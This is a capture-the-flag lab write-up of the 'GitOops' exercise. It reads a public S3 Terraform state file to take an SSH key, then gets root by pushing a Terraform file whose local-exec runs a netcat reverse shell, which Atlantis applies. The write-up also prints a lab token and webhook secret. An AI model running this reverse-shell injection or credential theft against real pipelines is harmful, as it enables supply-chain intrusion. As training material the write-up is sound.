> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/gitoops.md).

# GitOops

{% embed url="<https://www.hacksmarter.org/courses/d6c75815-8e7b-4d90-9ebf-c619176ae2d9>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

Hack Smarter been retained to conduct a targeted penetration test against a critical asset within the client's internal network. The scope is limited to a specific high-value endpoint identified as a primary development server (and any cloud assets identified on the host).

Due to the sensitive nature of the intellectual property and proprietary source code likely resident on this machine, the client requires a comprehensive assessment of its security posture to prevent potential supply chain compromise.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided with VPN access to their internal environment, but no other information.

**Note From Tyler**

> This lab was originally created for vmGoat which is an open-source project created by Andrew. If you'd like to learn more about his project, you can check out the Github repo - [vmGoat](https://github.com/andrew-aiken/vmGoat).

## Summary

<details>

<summary>Summary</summary>

In this GitOops we begin with only VPN access to an internal development server and no prior credentials. Enumeration reveals a Linux-based DevOps environment hosting a Gitea instance at `gitoops.local`, an additional Git-over-SSH service on port `2222`, and an Atlantis server at `atlantis.gitoops.local` used to automate Terraform workflows. Inspecting the publicly accessible `gitCorp/public` repository exposes Terraform configuration files that define AWS infrastructure, including an S3 backend storing the Terraform state file. Accessing the referenced S3 bucket directly discloses `terraform.tfstate`, which contains sensitive data including the private SSH key for the EC2 instance backing the Git server. After reconstructing the key format, we successfully authenticate via SSH as `alexis`.

On the host, process enumeration reveals Atlantis running with a Gitea token and a repo allowlist for `gitCorp/private`. Recognizing that Atlantis automatically executes `terraform init`, `plan`, and `apply` on pull request comments, we pivot to supply chain compromise. Using the recovered SSH key, we clone the private repository over Git SSH, create a malicious Terraform configuration leveraging a `null_resource` with a `local-exec` provisioner to execute a reverse shell, and push it to a new branch. We then create a pull request via the Gitea API and trigger execution by commenting `atlantis apply`. Atlantis processes the workflow and executes our injected Terraform code on the server, resulting in a root shell. With full system compromise achieved through infrastructure-as-code abuse and cloud misconfiguration, we retrieve the final flag from `/root/flag.txt`.

</details>

## Recon

We use rustscan `-b 500 -a 10.0.18.73 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.0.18.73 -- -sC -sV -Pn
```

<figure><img src="/files/dv6PX0oI9rUgjsou9ZRr" alt=""><figcaption></figcaption></figure>

The target machine appears to be a Linux-based Git server environment. It exposes multiple SSH services on port `22` and `2222`, an HTTP service on port `80` redirecting to HTTPS, and an HTTPS service on port `443` hosting a Gitea instance.

Port `22` is running OpenSSH 9.6p1 (Ubuntu).&#x20;

Port `80` runs nginx 1.24.0 Ubuntu and redirects traffic to HTTPS, enforcing encrypted communication. Port 443 serves Gitea, confirmed by the HTTP title and TLS certificate. The SSL certificate is self-signed for the internal domain gitoops.local, with SAN entries for `gitoops.local` and `*.gitoops.local`, indicating this system is intended to operate within a private/internal DevOps environment.

<figure><img src="/files/QRVthQa3L84vs3wQ5jCr" alt=""><figcaption></figcaption></figure>

Port **2222** is also running SSH, but the banner `SSH-2.0-Go` suggests a Go-based SSH service, which may be tied to the Git platform itself - commonly used for Git-over-SSH operations.

<figure><img src="/files/JCEmOoxMaanC46ugNAI1" alt=""><figcaption></figcaption></figure>

From our Nmap result, we extract the SAN entries and create an entry in our `/etc/hosts` file.

```
gitoops.local
```

Since other subdomains or vhosts may exist, we perform a vhost scan using FFuF and find atlantis.gitoops.local.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.gitoops.local" -u https://gitoops.local -fw 1072 -k
```

{% endcode %}

<figure><img src="/files/8vJo58uoy8eskmqIZ8V9" alt=""><figcaption></figcaption></figure>

### gitoops.local

<figure><img src="/files/8pMOTLdMW60pG7s76Zfk" alt=""><figcaption></figcaption></figure>

We'll start by enumerating the Gitea instance at `gitoops.local`. At explore, we see the publicly accessible repositories and find the `public` repository of `gitCorp`.

<figure><img src="/files/V7hKtjyWApS9nnsoFCm9" alt=""><figcaption></figcaption></figure>

In this directory, we find the following 5 terraform files:

```
data.tf
ec2.tf
main.tf
settings.tf
variables.tf
```

Terraform is an Infrastructure-as-Code (IaC) tool created by HashiCorp that allows to define cloud infrastructure using code instead of manually setting up the infrastructure in a dashboard.&#x20;

For example, Terraform can be used to create virtual machines such as EC2 instances in AWS. It can also provision storage resources like S3 buckets. Networking components such as Virtual Private Clouds (VPCs), subnets, route tables, and security groups can all be defined and deployed through Terraform. Additionally, it can configure DNS records using services like Route53, create Identity and Access Management (IAM) roles and policies, generate SSH keys, and handle many other cloud resources.

We may find valuable loot in these files for our initial access, or even a way to customize them later and use them to our advantage to compromise the system.

<figure><img src="/files/sqvuO85HszVtGvk6E7AH" alt=""><figcaption></figcaption></figure>

We pull the repository and inspect the files.

```
GIT_SSL_NO_VERIFY=true git clone https://gitoops.local/gitCorp/public.git
```

<figure><img src="/files/cAgOZbuXpXZYRvcg3eG5" alt=""><figcaption></figcaption></figure>

The following configuration `data.tf` does not create new infrastructure, but instead looks up an existing VPC and subnet tagged “vmGoat,” retrieves the most recent official Ubuntu 22.04 AMI from Amazon, and fetches a public Route53 DNS zone defined by a variable so those existing resources can be used when provisioning other components.

{% code title="data.tf" overflow="wrap" lineNumbers="true" expandable="true" %}

```terraform
data "aws_vpc" "vpc" {
  filter {
    name   = "tag:Name"
    values = ["vmGoat"]
  }
}

data "aws_subnet" "subnet" {
  vpc_id            = data.aws_vpc.vpc.id

  filter {
    name   = "tag:Name"
    values = ["vmGoat"]
  }
}

data "aws_ami" "ubuntu" {
  most_recent = true
  owners      = ["amazon"]

  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"]
  }

  filter {
    name   = "architecture"
    values = ["x86_64"]
  }

  filter {
    name   = "root-device-type"
    values = ["ebs"]
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }
}

data "aws_route53_zone" "public" {
  name         = var.dns_zone_domain
  private_zone = false
}
```

{% endcode %}

The `ec2.tf` configuration creates a security group that allows anyone to access the server over HTTP `80`, HTTPS `443`, and SSH `22`.  It provisions a public Ubuntu EC2 instance named `gitoops` in the specified subnet with a fixed private IP address, a public IP address, and the previously defined SSH key attached for remote access.

{% code title="ec2.tf" overflow="wrap" lineNumbers="true" expandable="true" %}

```terraform
resource "aws_security_group" "gitoops" {
  name        = "gitoops"
  description = "Allow traffic to vmGoat gitoops server"
  vpc_id      = data.aws_vpc.vpc.id

  ingress {
    description = "HTTPS"
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "HTTP"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "SSH into server"
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = "-1"
    cidr_blocks      = ["0.0.0.0/0"]
    ipv6_cidr_blocks = ["::/0"]
  }

  tags = {
    Name = "gitoops"
  }
}

resource "aws_instance" "gitoops" {
  ami                         = data.aws_ami.ubuntu.image_id
  instance_type               = "t3.medium"
  subnet_id                   = data.aws_subnet.subnet.id
  vpc_security_group_ids      = [aws_security_group.gitoops.id]
  associate_public_ip_address = true
  private_ip                  = "10.1.0.123"
  key_name                    = aws_key_pair.ssh_key.id

  tags = {
    Name = "gitoops"
  }
}
```

{% endcode %}

The main configuraiton creates a public DNS `A` record that points the domain to the EC2 instance' public IP address, generates a new 4096-bit RSA private key, and uploads its public portion to AWS as an EC2 key pair so that the instance can be accessed via SSH using the generated private key.

{% code title="main.tf" overflow="wrap" lineNumbers="true" expandable="true" %}

```terraform
resource "aws_route53_record" "gitoops" {
  zone_id = data.aws_route53_zone.public.zone_id
  name    = data.aws_route53_zone.public.name
  type    = "A"
  ttl     = "300"
  records = [aws_instance.gitoops.public_ip]
}

resource "tls_private_key" "access_key" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

resource "aws_key_pair" "ssh_key" {
  key_name   = "gitoops"
  public_key = tls_private_key.access_key.public_key_openssh
}
```

{% endcode %}

The `settings.tf` now finally holds something interesting. The configuration specifies the required Terraform and provider versions, stores the infrastructure state file in an S3 bucket named `gitoops-4ulyqvxd8nn6hlsc` with the key `gitcorp/terraform.tfstate` in the `us-east-1 region`, and configures the AWS provider to operate in that region while automatically tagging all created resources as part of the `gitoops` project and managed by Terraform.

An S3 bucket is a cloud-based object storage container in Amazon Web Services. It is used to store files, called `objects` which can include anything from backups and documents to application assets and configuration files.&#x20;

Access to S3 buckets is controlled through permissions, and if those permissions are misconfigured, the contents can become publicly accessible.

In this case, the S3 bucket is being used as a Terraform backend, meaning it stores the `terraform.tfstate` file. The Terraform state file is extremely sensitive because it contains a detailed record of all provisioned infrastructure and often includes secrets in plaintext.&#x20;

A Terraform state file can contain:

* SSH private keys&#x20;
* Cloud access keys and tokens
* IAM role references
* Internal IP addresses
* Resource IDs
* Database connection strings
* Passwords or API tokens (if defined in configuration)
* Full infrastructure topology

This could mean the following and open the way for us to gain an initial foothold:

**Cloud Misconfiguration → Sensitive Data Exposure → Infrastructure Compromise**

{% code title="settings.tf" overflow="wrap" lineNumbers="true" expandable="true" %}

```terraform
terraform {
  required_version = "1.11.4"

  backend "s3" {
    bucket = "gitoops-4ulyqvxd8nn6hlsc"
    key    = "gitcorp/terraform.tfstate"
    region = "us-east-1"
  }

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.94.1"
    }
    tls = {
      source  = "hashicorp/tls"
      version = "4.0.6"
    }
  }
}

provider "aws" {
  region = "us-east-1"

  default_tags {
    tags = {
      project   = "gitoops"
      terraform = "true"
    }
  }
}
```

{% endcode %}

The following configuration just defines a string input named `dns_zone_domain` with the default value `gitoops.local.` that specifies the Route53 DNS domain to be used when creating or referencing DNS records.

{% code title="variables.tf" overflow="wrap" lineNumbers="true" expandable="true" %}

```terraform
variable "dns_zone_domain" {
  type        = string
  default     = "gitoops.local."
  description = "Route53 domain"
}
```

{% endcode %}

We have identified a possible attack vector via the terafiles. In the activity feed, we can still see which users are involved in the project. These user names could be useful later on. We write them down.

{% code title="users.txt" %}

```
alexis
```

{% endcode %}

<figure><img src="/files/8SbRr5IBv2V8Jw3oMAox" alt=""><figcaption></figcaption></figure>

### atlantis.gitoops.local

Before we proceed with our potential identified attack vector, let's take a look at the service at atlantis.gitoops.local.

```
https://atlantis.gitoops.local/
```

<figure><img src="/files/IeMgD0LeDOeVTpn7bVrX" alt=""><figcaption></figcaption></figure>

According to ChatGPT, Atlantis is an open-source tool that automates Terraform workflows in pull requests:&#x20;

> ### Atlantis
>
> Atlantis is an open-source tool that automates **Terraform workflows in pull requests**. It listens for GitHub/GitLab/Bitbucket webhooks and runs `terraform plan` and `terraform apply` when users comment on a PR, helping teams safely review and manage infrastructure changes as code. It’s commonly used with **Terraform** to manage cloud infrastructure such as AWS in a collaborative, audited way.
>
> #### References
>
> * Official site: <https://www.runatlantis.io/>
> * GitHub repository: <https://github.com/runatlantis/atlantis>
> * Terraform documentation: <https://developer.hashicorp.com/terraform/docs>

That's really interesting. If we are able to trigger workflows via pull requests and could create a workflow ourselves, we could also use this to compromise the underlying infrastructure by injecting malicious Terraform code that Atlantis would automatically execute.

## Shell as alexis

We don't have access to git repository yet, so we'll continue with the findings from the repo and take a closer look at the S3 bucket.

Recalling the `settings.tf` file:

{% code title="settings.tf" %}

```
backend "s3" {
  bucket = "gitoops-4ulyqvxd8nn6hlsc"
  key    = "gitcorp/terraform.tfstate"
  region = "us-east-1"
}
```

{% endcode %}

We try to access the S3 Bucket an request the contents of the key `gitcorp/terraform.tfstate`.&#x20;

```
curl http://gitoops-4ulyqvxd8nn6hlsc.s3.amazonaws.com/gitcorp/terraform.tfstate
```

<figure><img src="/files/ZiiOPW7E9HaUp1TDXoQ5" alt=""><figcaption></figcaption></figure>

We actuially retrieved the Terraform state file `terraform.tfstate`, including sensitive material with the SSH private key for the EC2 instance being publicly exposed.&#x20;

<figure><img src="/files/7RuIWb8yoxTZnVv35nC1" alt=""><figcaption></figcaption></figure>

Looking at the instance `"key_name": "gitoops"` and `"public_ip": "1.1.1.1"` so it is actually the EC2 instance we have infront of us.

We copy openssh key

```
nano id_rsa
```

We need to fix the ssh key with replacing the newlines with actual ones.

```
cat id_rsa | sed 's/\\n/\n/g' > fixed_id_rsa
```

Edit the correct permissions to the key...

```
chmod 600 fixed_id_rsa 
```

... and use the key to log in. We try with the users ubuntu and `alexis` (from our Gitea enumeration) and are able to log in as `alexis` via SSH using the private key.

```
ssh -i fixed_id_rsa alexis@gitoops.local
```

<figure><img src="/files/z6PPKBNjIECP3f4sayhE" alt=""><figcaption></figcaption></figure>

## Shell as root

As alexis, we find the config `repo.yaml` for the repo inside the `/opt/atlantis` folder. Nothing exciting at first glance.

<figure><img src="/files/fYW3rnfG4UqDTTZG6Q7o" alt=""><figcaption></figcaption></figure>

We scan again with linpeas to make sure we haven't overlooked anything.

```
./linpeas.sh
```

<figure><img src="/files/v0pKB3TrUhno6THDKV2V" alt=""><figcaption></figcaption></figure>

&#x20;We see some problematic capabilities set for snap-confie, but we can't exploit them. A false-positive.

<figure><img src="/files/pOJGfNO5aB0ajm7PfYKC" alt=""><figcaption></figcaption></figure>

If we look at the processes running in the background,...

```
ps aux
```

<figure><img src="/files/mFKHWYdIC2A5wqWto9j4" alt=""><figcaption></figcaption></figure>

... we find the Atlantis server running.

<figure><img src="/files/1tqIWWswp4JEyICH1KfW" alt=""><figcaption></figcaption></figure>

Recalling our idea from initial enumeration, that we could use the mechanics of atlantis to inject malicious execution via triggering workflows via pull requests.

<figure><img src="/files/wvOXMhMxIuijdPThVafp" alt=""><figcaption></figcaption></figure>

If we look closeley we find the gitea-token used to access a `private` repository of `gitCorp`.

```
ps aux | grep atlantis
```

<figure><img src="/files/JqcFHoRk0wSBIWP7zubs" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
=http://atlantis.gitoops.local --gitea-base-url=http --gitea-base-url=https://gitoops.local --gitea-user=atlantis --gitea-token=REDACTED --gitea-webhook-secret=82df5474-2933-11ef-9454-0242ac120002 --gitea-page-size=30 --repo-allowlist=gitoops.local/gitCorp/private --repo-config=/opt/atlantis/repo.yaml
```

{% endcode %}

So we know from research that Atlantis executes:

* `terraform init`
* `terraform plan`
* `terraform apply`

That means if wecan modify Terraform code in the allowed repo:

```
gitoops.local/gitCorp/private
```

we control what Terraform executes.

Next things to do:

* Confirm we can push to the used repository.
* Add malicious Terraform.
* Trigger `atlantis apply`.
* Get shell.
* Check privileges.
* Escalate if needed.

{% hint style="info" %}
Unfortunately, the steps using tokens are not effective, but are shown here for the sake of completeness.

<details>

<summary>Hint</summary>

We could also use the SSH key we already gathered.

</details>
{% endhint %}

We can clone the repo as follows:

{% code overflow="wrap" %}

```
GIT_SSL_NO_VERIFY=true git clone https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/gitCorp/private.git
```

{% endcode %}

<figure><img src="/files/wxhAkJmJB5Rff7N5P0Dt" alt=""><figcaption></figcaption></figure>

We read the README.md and it confirms that this repo is used for Terraform code.

<figure><img src="/files/A25lU6QR2olZb1zRhMry" alt=""><figcaption></figcaption></figure>

We set local username and email.

```
git config user.name "alexis"
```

```
git config user.email "alexis@gitoops.local"
```

<figure><img src="/files/iNa0wzf5Rh0P9nup8Gay" alt=""><figcaption></figcaption></figure>

Next, we will prepare a terraform configuration that executes a reverse shell when loaded.

{% code title="pwn.tf                                  " %}

```
resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "busybox nc 10.200.36.19 4445 -e bash"
  }
}
```

{% endcode %}

Next, we create a new branch...

```
git checkout -b pwn
```

... and the file:

```
git add pwn.tf  
```

```
git commit -m "add terraform resource"
```

But our push fails. We do not have write permission using the token.

The `atlantis` token user does **NOT** have write permission to the repository

```
GIT_SSL_NO_VERIFY=true git push origin pwn
```

<figure><img src="/files/E1HtYNKlmpRvxn73oJbT" alt=""><figcaption></figcaption></figure>

We could have checked that beforehand using the Gitea api.

{% code overflow="wrap" %}

```
curl -k -H "Authorization: token REDACTED" https://gitoops.local/api/v1/user | jq
```

{% endcode %}

<figure><img src="/files/xGFjmLxz9FWZKsIvYyu7" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
curl -k -H "Authorization: token REDACTED" https://gitoops.local/api/v1/user/repos | jq
```

{% endcode %}

<figure><img src="/files/7lLd0Y6yC2YvocEHQ69F" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
[
  {
    "id": 2,
    "owner": {
      "id": 2,
      "login": "gitCorp",
      "login_name": "",
      "source_id": 0,
      "full_name": "",
      "email": "gitcorp@noreply.gitoops.local",
      "avatar_url": "https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f",
      "html_url": "https://gitoops.local/gitCorp",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2025-10-29T20:17:37Z",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "string",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "gitCorp"
    },
    "name": "private",
    "full_name": "gitCorp/private",
    "description": "Private repository",
    "empty": false,
    "private": true,
    "fork": false,
    "template": false,
    "mirror": false,
    "size": 27,
    "language": "",
    "languages_url": "https://gitoops.local/api/v1/repos/gitCorp/private/languages",
    "html_url": "https://gitoops.local/gitCorp/private",
    "url": "https://gitoops.local/api/v1/repos/gitCorp/private",
    "link": "",
    "ssh_url": "ssh://gitea@gitoops.local:2222/gitCorp/private.git",
    "clone_url": "https://gitoops.local/gitCorp/private.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 3,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2025-10-29T20:17:45Z",
    "updated_at": "2025-10-29T20:18:05Z",
    "archived_at": "1970-01-01T00:00:00Z",
    "permissions": {
      "admin": false,
      "push": false,
      "pull": true
    },
    "has_code": false,
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "projects_mode": "all",
    "has_releases": true,
    "has_packages": false,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_fast_forward_only_merge": true,
    "allow_rebase_update": true,
    "allow_manual_merge": false,
    "autodetect_manual_merge": false,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "object_format_name": "sha1",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "topics": [],
    "licenses": []
  },
  {
    "id": 1,
    "owner": {
      "id": 2,
      "login": "gitCorp",
      "login_name": "",
      "source_id": 0,
      "full_name": "",
      "email": "",
      "avatar_url": "https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f",
      "html_url": "https://gitoops.local/gitCorp",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2025-10-29T20:17:37Z",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "string",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "gitCorp"
    },
    "name": "public",
    "full_name": "gitCorp/public",
    "description": "Public repository",
    "empty": false,
    "private": false,
    "fork": false,
    "template": false,
    "mirror": false,
    "size": 37,
    "language": "HCL",
    "languages_url": "https://gitoops.local/api/v1/repos/gitCorp/public/languages",
    "html_url": "https://gitoops.local/gitCorp/public",
    "url": "https://gitoops.local/api/v1/repos/gitCorp/public",
    "link": "",
    "ssh_url": "ssh://gitea@gitoops.local:2222/gitCorp/public.git",
    "clone_url": "https://gitoops.local/gitCorp/public.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 3,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2025-10-29T20:17:44Z",
    "updated_at": "2025-10-29T20:18:14Z",
    "archived_at": "1970-01-01T00:00:00Z",
    "permissions": {
      "admin": false,
      "push": false,
      "pull": true
    },
    "has_code": false,
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "projects_mode": "all",
    "has_releases": true,
    "has_packages": false,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_fast_forward_only_merge": true,
    "allow_rebase_update": true,
    "allow_manual_merge": false,
    "autodetect_manual_merge": false,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "object_format_name": "sha1",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "topics": [],
    "licenses": []
  }
]
```

{% endcode %}

Instead of the token, we'll try using the OPENSSH key from the S3 bucket. We start over, delete the folder and repeat our steps. We clone the repo using the SSH key and are successful.

```
GIT_SSH_COMMAND="ssh -i $(pwd)/fixed_id_rsa -o IdentitiesOnly=yes" \
git clone ssh://gitea@gitoops.local:2222/gitCorp/private.git
```

<figure><img src="/files/qxBsHTqaXvvyqeh2Bgav" alt=""><figcaption></figcaption></figure>

Prepare the `pwn.tf` reverse shell configuration.

{% code title="pwn.tf                                  " %}

```
resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "busybox nc 10.200.36.19 4445 -e bash"
  }
}
```

{% endcode %}

Create a branch.

```
git checkout -b pwn
```

... and the file:

```
git add pwn.tf  
```

```
git commit -m "add terraform resource"
```

<figure><img src="/files/FMIrMlFFFumYQWHagCNw" alt=""><figcaption></figcaption></figure>

Next, we push the changes to tha branch and are successful:

```
GIT_SSH_COMMAND="ssh -i $(pwd)/../fixed_id_rsa -o IdentitiesOnly=yes" \
git push --set-upstream origin pwn
```

<figure><img src="/files/OGbyyMcQNrOkB1KC0I7l" alt=""><figcaption></figcaption></figure>

We can also confirm that the code is pushed using the api:

```
curl -X GET -k https://gitoops.local/api/v1/repos/gitCorp/private/branches \
  -H "Authorization: token REDACTED"
```

<figure><img src="/files/EUNAYIelDhFOnn8jGZfM" alt=""><figcaption></figcaption></figure>

Next, we need to perform a pull request, but cannot use the GUI of Gitea, since we are missing the credentials of `alexis`. But we can also use the Gitea API for this.&#x20;

```
curl -X POST -k https://gitoops.local/api/v1/repos/gitCorp/private/pulls \
  -H "Authorization: token REDACTED" \
  -H "Content-Type: application/json" \
  -d '{"base": "main", "head": "pwn", "title": "Terraform revshell"}'
```

<figure><img src="/files/skOjCgiUlT3kGRiZ5jgS" alt=""><figcaption></figcaption></figure>

The job pops up at `atlantis.gitoops.local:`

<figure><img src="/files/O5glug1iRYdMx4BppZrx" alt=""><figcaption></figcaption></figure>

Apply the pull request like depicted in our enumeration, we need to comment `atlantis apply` in the pull request.

<figure><img src="/files/qkdzNEnJmb9EVrNoJ36l" alt=""><figcaption></figcaption></figure>

We prepare a listener using Penelope.

{% embed url="<https://github.com/brightio/penelope>" %}

Next, we make the comment.

```
curl -X POST -k https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments \
  -H "Authorization: token REDACTED" \
  -H "Content-Type: application/json" \
  -d '{"body": "atlantis apply"}'
```

<figure><img src="/files/TkS6JBtItUQpZvQ6Dwa6" alt=""><figcaption></figcaption></figure>

We then should receive a connection back. We are root and find the final flag at `/root/flag.txt`.

<figure><img src="/files/EYXALBIIVbYmSXMd1tU9" alt=""><figcaption></figcaption></figure>

## Recommendation

Don't miss out on Andrew Aiken's official write-up:

{% embed url="<https://infrasec.sh/post/vmgoat-gitoops>" %}
